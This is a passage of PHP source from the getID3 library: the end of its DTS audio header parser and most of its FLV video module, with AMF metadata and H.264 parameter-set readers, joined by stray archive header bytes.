					$fhBS .= substr(getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))), 2, 14);
					break;
			}
		}

		$info['dts']['raw']['frame_type']             =        $this->readBinData($fhBS,  1);
		$info['dts']['raw']['deficit_samples']        =        $this->readBinData($fhBS,  5);
		$info['dts']['flags']['crc_present']          = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['pcm_sample_blocks']      =        $this->readBinData($fhBS,  7);
		$info['dts']['raw']['frame_byte_size']        =        $this->readBinData($fhBS, 14);
		$info['dts']['raw']['channel_arrangement']    =        $this->readBinData($fhBS,  6);
		$info['dts']['raw']['sample_frequency']       =        $this->readBinData($fhBS,  4);
		$info['dts']['raw']['bitrate']                =        $this->readBinData($fhBS,  5);
		$info['dts']['flags']['embedded_downmix']     = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['dynamicrange']         = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['timestamp']            = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['auxdata']              = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['hdcd']                 = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['extension_audio']        =        $this->readBinData($fhBS,  3);
		$info['dts']['flags']['extended_coding']      = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['audio_sync_insertion'] = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['lfe_effects']            =        $this->readBinData($fhBS,  2);
		$info['dts']['flags']['predictor_history']    = (bool) $this->readBinData($fhBS,  1);
		if ($info['dts']['flags']['crc_present']) {
			$info['dts']['raw']['crc16']              =        $this->readBinData($fhBS, 16);
		}
		$info['dts']['flags']['mri_perfect_reconst']  = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['encoder_soft_version']   =        $this->readBinData($fhBS,  4);
		$info['dts']['raw']['copy_history']           =        $this->readBinData($fhBS,  2);
		$info['dts']['raw']['bits_per_sample']        =        $this->readBinData($fhBS,  2);
		$info['dts']['flags']['surround_es']          = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['front_sum_diff']       = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['surround_sum_diff']    = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['dialog_normalization']   =        $this->readBinData($fhBS,  4);


		$info['dts']['bitrate']              = self::bitrateLookup($info['dts']['raw']['bitrate']);
		$info['dts']['bits_per_sample']      = self::bitPerSampleLookup($info['dts']['raw']['bits_per_sample']);
		$info['dts']['sample_rate']          = self::sampleRateLookup($info['dts']['raw']['sample_frequency']);
		$info['dts']['dialog_normalization'] = self::dialogNormalization($info['dts']['raw']['dialog_normalization'], $info['dts']['raw']['encoder_soft_version']);
		$info['dts']['flags']['lossless']    = (($info['dts']['raw']['bitrate'] == 31) ? true  : false);
		$info['dts']['bitrate_mode']         = (($info['dts']['raw']['bitrate'] == 30) ? 'vbr' : 'cbr');
		$info['dts']['channels']             = self::numChannelsLookup($info['dts']['raw']['channel_arrangement']);
		$info['dts']['channel_arrangement']  = self::channelArrangementLookup($info['dts']['raw']['channel_arrangement']);

		$info['audio']['dataformat']          = 'dts';
		$info['audio']['lossless']            = $info['dts']['flags']['lossless'];
		$info['audio']['bitrate_mode']        = $info['dts']['bitrate_mode'];
		$info['audio']['bits_per_sample']     = $info['dts']['bits_per_sample'];
		$info['audio']['sample_rate']         = $info['dts']['sample_rate'];
		$info['audio']['channels']            = $info['dts']['channels'];
		$info['audio']['bitrate']             = $info['dts']['bitrate'];
		if (isset($info['avdataend']) && !empty($info['dts']['bitrate']) && is_numeric($info['dts']['bitrate'])) {
			$info['playtime_seconds']         = ($info['avdataend'] - $info['avdataoffset']) / ($info['dts']['bitrate'] / 8);
			if (($encoding == 2) || ($encoding == 3)) {
				// 14-bit data packed into 16-bit words, so the playtime is wrong because only (14/16) of the bytes in the data portion of the file are used at the specified bitrate
				$info['playtime_seconds'] *= (14 / 16);
			}
		}
		return true;
	}

	/**
	 * @param string $bin
	 * @param int $length
	 *
	 * @return int
	 */
	private function readBinData($bin, $length) {
		$data = substr($bin, $this->readBinDataOffset, $length);
		$this->readBinDataOffset += $length;

		return bindec($data);
	}

	/**
	 * @param int $index
	 *
	 * @return int|string|false
	 */
	public static function bitrateLookup($index) {
		static $lookup = array(
			0  => 32000,
			1  => 56000,
			2  => 64000,
			3  => 96000,
			4  => 112000,
			5  => 128000,
			6  => 192000,
			7  => 224000,
			8  => 256000,
			9  => 320000,
			10 => 384000,
			11 => 448000,
			12 => 512000,
			13 => 576000,
			14 => 640000,
			15 => 768000,
			16 => 960000,
			17 => 1024000,
			18 => 1152000,
			19 => 1280000,
			20 => 1344000,
			21 => 1408000,
			22 => 1411200,
			23 => 1472000,
			24 => 1536000,
			25 => 1920000,
			26 => 2048000,
			27 => 3072000,
			28 => 3840000,
			29 => 'open',
			30 => 'variable',
			31 => 'lossless',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	/**
	 * @param int $index
	 *
	 * @return int|string|false
	 */
	public static function sampleRateLookup($index) {
		static $lookup = array(
			0  => 'invalid',
			1  => 8000,
			2  => 16000,
			3  => 32000,
			4  => 'invalid',
			5  => 'invalid',
			6  => 11025,
			7  => 22050,
			8  => 44100,
			9  => 'invalid',
			10 => 'invalid',
			11 => 12000,
			12 => 24000,
			13 => 48000,
			14 => 'invalid',
			15 => 'invalid',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	/**
	 * @param int $index
	 *
	 * @return int|false
	 */
	public static function bitPerSampleLookup($index) {
		static $lookup = array(
			0  => 16,
			1  => 20,
			2  => 24,
			3  => 24,
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	/**
	 * @param int $index
	 *
	 * @return int|false
	 */
	public static function numChannelsLookup($index) {
		switch ($index) {
			case 0:
				return 1;
			case 1:
			case 2:
			case 3:
			case 4:
				return 2;
			case 5:
			case 6:
				return 3;
			case 7:
			case 8:
				return 4;
			case 9:
				return 5;
			case 10:
			case 11:
			case 12:
				return 6;
			case 13:
				return 7;
			case 14:
			case 15:
				return 8;
		}
		return false;
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function channelArrangementLookup($index) {
		static $lookup = array(
			0  => 'A',
			1  => 'A + B (dual mono)',
			2  => 'L + R (stereo)',
			3  => '(L+R) + (L-R) (sum-difference)',
			4  => 'LT + RT (left and right total)',
			5  => 'C + L + R',
			6  => 'L + R + S',
			7  => 'C + L + R + S',
			8  => 'L + R + SL + SR',
			9  => 'C + L + R + SL + SR',
			10 => 'CL + CR + L + R + SL + SR',
			11 => 'C + L + R+ LR + RR + OV',
			12 => 'CF + CR + LF + RF + LR + RR',
			13 => 'CL + C + CR + L + R + SL + SR',
			14 => 'CL + CR + L + R + SL1 + SL2 + SR1 + SR2',
			15 => 'CL + C+ CR + L + R + SL + S + SR',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : 'user-defined');
	}

	/**
	 * @param int $index
	 * @param int $version
	 *
	 * @return int|false
	 */
	public static function dialogNormalization($index, $version) {
		switch ($version) {
			case 7:
				return 0 - $index;
			case 6:
				return 0 - 16 - $index;
		}
		return false;
	}

}
PKEWd[G���i�imodule.audio-video.flv.phpnu�[���<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.flv.php                                  //
// module for analyzing Shockwave Flash Video files            //
// dependencies: NONE                                          //
//                                                             //
/////////////////////////////////////////////////////////////////
//                                                             //
//  FLV module by Seth Kaufman <sethØwhirl-i-gig*com>          //
//                                                             //
//  * version 0.1 (26 June 2005)                               //
//                                                             //
//  * version 0.1.1 (15 July 2005)                             //
//  minor modifications by James Heinrich <info@getid3.org>    //
//                                                             //
//  * version 0.2 (22 February 2006)                           //
//  Support for On2 VP6 codec and meta information             //
//    by Steve Webster <steve.websterØfeaturecreep*com>        //
//                                                             //
//  * version 0.3 (15 June 2006)                               //
//  Modified to not read entire file into memory               //
//    by James Heinrich <info@getid3.org>                      //
//                                                             //
//  * version 0.4 (07 December 2007)                           //
//  Bugfixes for incorrectly parsed FLV dimensions             //
//    and incorrect parsing of onMetaTag                       //
//    by Evgeny Moysevich <moysevichØgmail*com>                //
//                                                             //
//  * version 0.5 (21 May 2009)                                //
//  Fixed parsing of audio tags and added additional codec     //
//    details. The duration is now read from onMetaTag (if     //
//    exists), rather than parsing whole file                  //
//    by Nigel Barnes <ngbarnesØhotmail*com>                   //
//                                                             //
//  * version 0.6 (24 May 2009)                                //
//  Better parsing of files with h264 video                    //
//    by Evgeny Moysevich <moysevichØgmail*com>                //
//                                                             //
//  * version 0.6.1 (30 May 2011)                              //
//    prevent infinite loops in expGolombUe()                  //
//                                                             //
//  * version 0.7.0 (16 Jul 2013)                              //
//  handle GETID3_FLV_VIDEO_VP6FLV_ALPHA                       //
//  improved AVCSequenceParameterSetReader::readData()         //
//    by Xander Schouwerwou <schouwerwouØgmail*com>            //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

define('GETID3_FLV_TAG_AUDIO',          8);
define('GETID3_FLV_TAG_VIDEO',          9);
define('GETID3_FLV_TAG_META',          18);

define('GETID3_FLV_VIDEO_H263',         2);
define('GETID3_FLV_VIDEO_SCREEN',       3);
define('GETID3_FLV_VIDEO_VP6FLV',       4);
define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5);
define('GETID3_FLV_VIDEO_SCREENV2',     6);
define('GETID3_FLV_VIDEO_H264',         7);

define('H264_AVC_SEQUENCE_HEADER',          0);
define('H264_PROFILE_BASELINE',            66);
define('H264_PROFILE_MAIN',                77);
define('H264_PROFILE_EXTENDED',            88);
define('H264_PROFILE_HIGH',               100);
define('H264_PROFILE_HIGH10',             110);
define('H264_PROFILE_HIGH422',            122);
define('H264_PROFILE_HIGH444',            144);
define('H264_PROFILE_HIGH444_PREDICTIVE', 244);

class getid3_flv extends getid3_handler
{
	const magic = 'FLV';

	/**
	 * Break out of the loop if too many frames have been scanned; only scan this
	 * many if meta frame does not contain useful duration.
	 *
	 * @var int
	 */
	public $max_frames = 100000;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$this->fseek($info['avdataoffset']);

		$FLVdataLength = $info['avdataend'] - $info['avdataoffset'];
		$FLVheader = $this->fread(5);

		$info['fileformat'] = 'flv';
		$info['flv']['header']['signature'] =                           substr($FLVheader, 0, 3);
		$info['flv']['header']['version']   = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1));
		$TypeFlags                          = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1));

		if ($info['flv']['header']['signature'] != self::magic) {
			$this->error('Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"');
			unset($info['flv'], $info['fileformat']);
			return false;
		}

		$info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04);
		$info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01);

		$FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4));
		$FLVheaderFrameLength = 9;
		if ($FrameSizeDataLength > $FLVheaderFrameLength) {
			$this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR);
		}
		$Duration = 0;
		$found_video = false;
		$found_audio = false;
		$found_meta  = false;
		$found_valid_meta_playtime = false;
		$tagParseCount = 0;
		$info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0);
		$flv_framecount = &$info['flv']['framecount'];
		while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime))  {
			$ThisTagHeader = $this->fread(16);

			$PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  0, 4));
			$TagType           = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  4, 1));
			$DataLength        = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  5, 3));
			$Timestamp         = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  8, 3));
			$LastHeaderByte    = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1));
			$NextOffset = $this->ftell() - 1 + $DataLength;
			if ($Timestamp > $Duration) {
				$Duration = $Timestamp;
			}

			$flv_framecount['total']++;
			switch ($TagType) {
				case GETID3_FLV_TAG_AUDIO:
					$flv_framecount['audio']++;
					if (!$found_audio) {
						$found_audio = true;
						$info['flv']['audio']['audioFormat']     = ($LastHeaderByte >> 4) & 0x0F;
						$info['flv']['audio']['audioRate']       = ($LastHeaderByte >> 2) & 0x03;
						$info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01;
						$info['flv']['audio']['audioType']       =  $LastHeaderByte       & 0x01;
					}
					break;

				case GETID3_FLV_TAG_VIDEO:
					$flv_framecount['video']++;
					if (!$found_video) {
						$found_video = true;
						$info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07;

						$FLVvideoHeader = $this->fread(11);
						$PictureSizeEnc = array();

						if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) {
							// this code block contributed by: moysevichØgmail*com

							$AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1));
							if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) {
								//	read AVCDecoderConfigurationRecord
								$configurationVersion       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  4, 1));
								$AVCProfileIndication       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  5, 1));
								$profile_compatibility      = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  6, 1));
								$lengthSizeMinusOne         = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  7, 1));
								$numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  8, 1));

								if (($numOfSequenceParameterSets & 0x1F) != 0) {
									//	there is at least one SequenceParameterSet
									//	read size of the first SequenceParameterSet
									//$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2));
									$spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2));
									//	read the first SequenceParameterSet
									$sps = $this->fread($spsSize);
									if (strlen($sps) == $spsSize) {	//	make sure that whole SequenceParameterSet was red
										$spsReader = new AVCSequenceParameterSetReader($sps);
										$spsReader->readData();
										$info['video']['resolution_x'] = $spsReader->getWidth();
										$info['video']['resolution_y'] = $spsReader->getHeight();
									}
								}
							}
							// end: moysevichØgmail*com

						} elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) {

							$PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7;
							$PictureSizeType = $PictureSizeType & 0x0007;
							$info['flv']['header']['videoSizeType'] = $PictureSizeType;
							switch ($PictureSizeType) {
								case 0:
									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2));
									//$PictureSizeEnc <<= 1;
									//$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8;
									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
									//$PictureSizeEnc <<= 1;
									//$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8;

									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7;
									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7;
									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF;
									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF;
									break;

								case 1:
									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7;
									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7;
									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF;
									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF;
									break;

								case 2:
									$info['video']['resolution_x'] = 352;
									$info['video']['resolution_y'] = 288;
									break;

								case 3:
									$info['video']['resolution_x'] = 176;
									$info['video']['resolution_y'] = 144;
									break;

								case 4:
									$info['video']['resolution_x'] = 128;
									$info['video']['resolution_y'] = 96;
									break;

								case 5:
									$info['video']['resolution_x'] = 320;
									$info['video']['resolution_y'] = 240;
									break;

								case 6:
									$info['video']['resolution_x'] = 160;
									$info['video']['resolution_y'] = 120;
									break;

								default:
									$info['video']['resolution_x'] = 0;
									$info['video']['resolution_y'] = 0;
									break;

							}

						} elseif ($info['flv']['video']['videoCodec'] ==  GETID3_FLV_VIDEO_VP6FLV_ALPHA) {

							/* contributed by schouwerwouØgmail*com */
							if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set
								$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
								$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2));
								$info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3;
								$info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3;
							}
							/* end schouwerwouØgmail*com */

						}
						if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) {
							$info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y'];
						}
					}
					break;

				// Meta tag
				case GETID3_FLV_TAG_META:
					if (!$found_meta) {
						$found_meta = true;
						$this->fseek(-1, SEEK_CUR);
						$datachunk = $this->fread($DataLength);
						$AMFstream = new AMFStream($datachunk);
						$reader = new AMFReader($AMFstream);
						$eventName = $reader->readData();
						$info['flv']['meta'][$eventName] = $reader->readData();
						unset($reader);

						$copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate');
						foreach ($copykeys as $sourcekey => $destkey) {
							if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) {
								switch ($sourcekey) {
									case 'width':
									case 'height':
										$info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey]));
										break;
									case 'audiodatarate':
										$info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000));
										break;
									case 'videodatarate':
									case 'frame_rate':
									default:
										$info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey];
										break;
								}
							}
						}
						if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
							$found_valid_meta_playtime = true;
						}
					}
					break;

				default:
					// noop
					break;
			}
			$this->fseek($NextOffset);
		}

		$info['playtime_seconds'] = $Duration / 1000;
		if ($info['playtime_seconds'] > 0) {
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}

		if ($info['flv']['header']['hasAudio']) {
			$info['audio']['codec']           =   self::audioFormatLookup($info['flv']['audio']['audioFormat']);
			$info['audio']['sample_rate']     =     self::audioRateLookup($info['flv']['audio']['audioRate']);
			$info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']);

			$info['audio']['channels']   =  $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo
			$info['audio']['lossless']   = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed
			$info['audio']['dataformat'] = 'flv';
		}
		if (!empty($info['flv']['header']['hasVideo'])) {
			$info['video']['codec']      = self::videoCodecLookup($info['flv']['video']['videoCodec']);
			$info['video']['dataformat'] = 'flv';
			$info['video']['lossless']   = false;
		}

		// Set information from meta
		if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
			$info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration'];
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}
		if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) {
			$info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']);
		}
		if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) {
			$info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']);
		}
		return true;
	}

	/**
	 * @param int $id
	 *
	 * @return string|false
	 */
	public static function audioFormatLookup($id) {
		static $lookup = array(
			0  => 'Linear PCM, platform endian',
			1  => 'ADPCM',
			2  => 'mp3',
			3  => 'Linear PCM, little endian',
			4  => 'Nellymoser 16kHz mono',
			5  => 'Nellymoser 8kHz mono',
			6  => 'Nellymoser',
			7  => 'G.711A-law logarithmic PCM',
			8  => 'G.711 mu-law logarithmic PCM',
			9  => 'reserved',
			10 => 'AAC',
			11 => 'Speex',
			12 => false, // unknown?
			13 => false, // unknown?
			14 => 'mp3 8kHz',
			15 => 'Device-specific sound',
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return int|false
	 */
	public static function audioRateLookup($id) {
		static $lookup = array(
			0 =>  5500,
			1 => 11025,
			2 => 22050,
			3 => 44100,
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return int|false
	 */
	public static function audioBitDepthLookup($id) {
		static $lookup = array(
			0 =>  8,
			1 => 16,
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return string|false
	 */
	public static function videoCodecLookup($id) {
		static $lookup = array(
			GETID3_FLV_VIDEO_H263         => 'Sorenson H.263',
			GETID3_FLV_VIDEO_SCREEN       => 'Screen video',
			GETID3_FLV_VIDEO_VP6FLV       => 'On2 VP6',
			GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel',
			GETID3_FLV_VIDEO_SCREENV2     => 'Screen video v2',
			GETID3_FLV_VIDEO_H264         => 'Sorenson H.264',
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}
}

class AMFStream
{
	/**
	 * @var string
	 */
	public $bytes;

	/**
	 * @var int
	 */
	public $pos;

	/**
	 * @param string $bytes
	 */
	public function __construct(&$bytes) {
		$this->bytes =& $bytes;
		$this->pos = 0;
	}

	/**
	 * @return int
	 */
	public function readByte() { //  8-bit
		return ord(substr($this->bytes, $this->pos++, 1));
	}

	/**
	 * @return int
	 */
	public function readInt() { // 16-bit
		return ($this->readByte() << 8) + $this->readByte();
	}

	/**
	 * @return int
	 */
	public function readLong() { // 32-bit
		return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte();
	}

	/**
	 * @return float|false
	 */
	public function readDouble() {
		return getid3_lib::BigEndian2Float($this->read(8));
	}

	/**
	 * @return string
	 */
	public function readUTF() {
		$length = $this->readInt();
		return $this->read($length);
	}

	/**
	 * @return string
	 */
	public function readLongUTF() {
		$length = $this->readLong();
		return $this->read($length);
	}

	/**
	 * @param int $length
	 *
	 * @return string
	 */
	public function read($length) {
		$val = substr($this->bytes, $this->pos, $length);
		$this->pos += $length;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekByte() {
		$pos = $this->pos;
		$val = $this->readByte();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekInt() {
		$pos = $this->pos;
		$val = $this->readInt();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekLong() {
		$pos = $this->pos;
		$val = $this->readLong();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return float|false
	 */
	public function peekDouble() {
		$pos = $this->pos;
		$val = $this->readDouble();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return string
	 */
	public function peekUTF() {
		$pos = $this->pos;
		$val = $this->readUTF();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return string
	 */
	public function peekLongUTF() {
		$pos = $this->pos;
		$val = $this->readLongUTF();
		$this->pos = $pos;
		return $val;
	}
}

class AMFReader
{
	/**
	* @var AMFStream
	*/
	public $stream;

	/**
	 * @param AMFStream $stream
	 */
	public function __construct(AMFStream $stream) {
		$this->stream = $stream;
	}

	/**
	 * @return mixed
	 */
	public function readData() {
		$value = null;

		$type = $this->stream->readByte();
		switch ($type) {

			// Double
			case 0:
				$value = $this->readDouble();
			break;

			// Boolean
			case 1:
				$value = $this->readBoolean();
				break;

			// String
			case 2:
				$value = $this->readString();
				break;

			// Object
			case 3:
				$value = $this->readObject();
				break;

			// null
			case 6:
				return null;

			// Mixed array
			case 8:
				$value = $this->readMixedArray();
				break;

			// Array
			case 10:
				$value = $this->readArray();
				break;

			// Date
			case 11:
				$value = $this->readDate();
				break;

			// Long string
			case 13:
				$value = $this->readLongString();
				break;

			// XML (handled as string)
			case 15:
				$value = $this->readXML();
				break;

			// Typed object (handled as object)
			case 16:
				$value = $this->readTypedObject();
				break;

			// Long string
			default:
				$value = '(unknown or unsupported data type)';
				break;
		}

		return $value;
	}

	/**
	 * @return float|false
	 */
	public function readDouble() {
		return $this->stream->readDouble();
	}

	/**
	 * @return bool
	 */
	public function readBoolean() {
		return $this->stream->readByte() == 1;
	}

	/**
	 * @return string
	 */
	public function readString() {
		return $this->stream->readUTF();
	}

	/**
	 * @return array
	 */
	public function readObject() {
		// Get highest numerical index - ignored
//		$highestIndex = $this->stream->readLong();

		$data = array();
		$key = null;

		while ($key = $this->stream->readUTF()) {
			$data[$key] = $this->readData();
		}
		// Mixed array record ends with empty string (0x00 0x00) and 0x09
		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
			// Consume byte
			$this->stream->readByte();
		}
		return $data;
	}

	/**
	 * @return array
	 */
	public function readMixedArray() {
		// Get highest numerical index - ignored
		$highestIndex = $this->stream->readLong();

		$data = array();
		$key = null;

		while ($key = $this->stream->readUTF()) {
			if (is_numeric($key)) {
				$key = (int) $key;
			}
			$data[$key] = $this->readData();
		}
		// Mixed array record ends with empty string (0x00 0x00) and 0x09
		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
			// Consume byte
			$this->stream->readByte();
		}

		return $data;
	}

	/**
	 * @return array
	 */
	public function readArray() {
		$length = $this->stream->readLong();
		$data = array();

		for ($i = 0; $i < $length; $i++) {
			$data[] = $this->readData();
		}
		return $data;
	}

	/**
	 * @return float|false
	 */
	public function readDate() {
		$timestamp = $this->stream->readDouble();
		$timezone = $this->stream->readInt();
		return $timestamp;
	}

	/**
	 * @return string
	 */
	public function readLongString() {
		return $this->stream->readLongUTF();
	}

	/**
	 * @return string
	 */
	public function readXML() {
		return $this->stream->readLongUTF();
	}

	/**
	 * @return array
	 */
	public function readTypedObject() {
		$className = $this->stream->readUTF();
		return $this->readObject();
	}
}

class AVCSequenceParameterSetReader
{
	/**
	 * @var string
	 */
	public $sps;
	public $start = 0;
	public $currentBytes = 0;
	public $currentBits = 0;

	/**
	 * @var int
	 */
	public $width;

	/**
	 * @var int
	 */
	public $height;

	/**
	 * @param string $sps
	 */
	public function __construct($sps) {
		$this->sps = $sps;
	}

	public function readData() {
		$this->skipBits(8);
		$this->skipBits(8);
		$profile = $this->getBits(8);                               // read profile
		if ($profile > 0) {
			$this->skipBits(8);
			$level_idc = $this->getBits(8);                         // level_idc
			$this->expGolombUe();                                   // seq_parameter_set_id // sps
			$this->expGolombUe();                                   // log2_max_frame_num_minus4
			$picOrderType = $this->expGolombUe();                   // pic_order_cnt_type
			if ($picOrderType == 0) {
				$this->expGolombUe();                               // log2_max_pic_order_cnt_lsb_minus4
			} elseif ($picOrderType == 1) {
				$this->skipBits(1);                                 // delta_pic_order_always_zero_flag
				$this->expGolombSe();                               // offset_for_non_ref_pic
				$this->expGolombSe();                               // offset_for_top_to_bottom_field
				$num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle
				for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) {
					$this->expGolombSe();                           // offset_for_ref_frame[ i ]
				}
			}
			$this->expGolombUe();                                   // num_ref_frames
			$this->skipBits(1);                                     // gaps_in_frame_num_value_allowed_flag
			$pic_width_in_mbs_minus1 = $this->expGolombUe();        // pic_width_in_mbs_minus1
			$pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1

			$frame_mbs_only_flag = $this->getBits(1);               // frame_mbs_only_flag
			if ($frame_mbs_only_flag == 0) {
				$this->skipBits(1);                                 // mb_adaptive_frame_field_flag
			}
			$this->skipBits(1);                                     // direct_8x8_inference_flag
			$frame_cropping_flag = $this->getBits(1);               // frame_cropping_flag

			$frame_crop_left_offset   = 0;
			$frame_crop_right_offset  = 0;
			$frame_crop_top_offset    = 0;
			$frame_crop_bottom_offset = 0;

			if ($frame_cropping_flag) {
				$frame_crop_left_offset   = $this->expGolombUe();   // frame_crop_left_offset
				$frame_crop_right_offset  = $this->expGolombUe();   // frame_crop_right_offset
				$frame_crop_top_offset    = $this->expGolombUe();   // frame_crop_top_offset
				$frame_crop_bottom_offset = $this->expGolombUe();   // frame_crop_bottom_offset
			}
			$this->skipBits(1);                                     // vui_parameters_present_flag
			// etc

			$this->width  = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2);
